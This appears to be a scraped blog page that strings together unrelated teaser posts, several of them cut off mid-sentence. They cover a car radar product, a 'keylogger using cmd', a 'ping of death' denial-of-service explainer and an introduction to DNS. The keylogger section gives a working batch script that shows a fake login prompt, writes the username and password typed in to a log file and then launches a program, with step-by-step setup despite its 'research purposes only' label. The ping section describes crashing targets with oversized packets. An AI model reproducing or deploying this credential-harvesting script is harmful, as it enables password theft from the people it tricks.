Helping Cars See Dangers That Humans Can’t

 -Imagine this. You are driving through a dark tunnel on a stormy night with the glare from rain and headlights making it difficult to see. What if your car could see for you and detect a motorcyclist who’s waiting out the rain on the side of the road in the tunnel? Well, the good news is that the mobility tech company, Magna, is the first company to design a digital radar technology that can do just that.ICON Radar offers drivers an added layer of safety and security on the road. Your car might already have sensors that flash in your rearview mirror when a car is in your blind spot, or that beep when someone passes behind you in a parking lot. ICON Radar takes this kind of vehicle-sensing technology to a whole new level. It can scan a car’s environment 50 times faster than the blink of a human eye. And because it’s digital, the signal is sure to be strong and reliable — such as cell phones when they shifted from using analog signals to digital ones.A vehicle with ICON Radar can actually scan the environment around your vehicle in four dimensions: distance, height, depth and speed. That helps it see objects such as a shredded tire on the road ahead of you, or that motorcyclist hiding from the rain in that dark tunnel. When obstacles are detected, drivers get an alert so they can take evasive action and safely steer clear of the danger.This technology can detect an object just 12 inches high from 164 feet away, a pedestrian more than a football field length down the road and another car ahead of you from more than three football fields away.It can also separate objects and detect if a person or bicyclist is next to a guardrail or a motorcycle in between two semi-trucks.We can all use some help staying safe on the roads. Magna is bringing new technology to the road to do just that as we head down the path toward full autonomy.

Create a key logger using cmd

Here is a basic  keylogger  script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only. @echo off color a title Login cls echo Please Enter Email Adress And Password echo. echo. cd "C:Logs" set /p user=Username: set /p pass=Password: echo Username="%user%" Password="%pass%" >> Log.txt start >>Program Here<< exit Step 1:  Now paste the above code into Notepad and save it as a  Logger.bat  file. Step 2:  Make a new folder on the desktop and name it Logs ( If the folder is not called Logs, then it will not work.) Step 3:  Drag that folder in to the  C: Step 4:  Test out the  Logger.bat ! Related  All-in-one Messenger - FacebookMessenger, WhatsApp, Skype and many more in one window Step 5:  Alright, now once you test it, you will go back into the Logs folder in the  C: and a  .txt  file w...

Perform cmd death attack

 A ping packet can also be malformed to perform denial of service attack by sending continuous ping packets to the target IP address. A continuous ping will cause buffer overflow at the target system and will cause the target system to crash.  We often use the CMD command “Ping” to mostly check if a server or a gateway is up and running. But, ping command can also be used for some other purposes. If we look at the basic level, then a ping packet is generally of size 56 bytes or 84 bytes (including IP header as well). However, a ping packet can also be made as large as up to 65536 bytes. Well, that’s the negative side of the ping packet. When we increase the size of the ping packet unnaturally, forming a malformed ping packet to attack a computer system, this type of attack is called “Ping of death” attack. How Ping of Death attack works? Not all computers can handle data larger than a fixed size. So, when a ping of death packet is sent f...

What is DNS

D NS stands for Domain Name System is used to as the medium to translate domain names to their respective IP addresses when a client initiates a request query. DNS stores the database of all the domain names and their IP addresses which are registered on the network. Most of us are quite familiar with the term DNS or Domain Name System. DNS can be thought of as an attendance register for various websites present over the internet. In the case of DNS, it maintains the database of all the websites Domain Names and their IP (Internet Protocol) addresses that are operational all over the world. Historical Notes The origins of DNS date back to the time of the ARPANET  when there were only a few computers to get an entry in the database. A HOSTS.TXT file was maintained by Stanford Research Institute, which constituted the data of all the machines, and was copied by all the host machines to remain updated. Jon Postel from the Information Sciences Institute requested Pau...
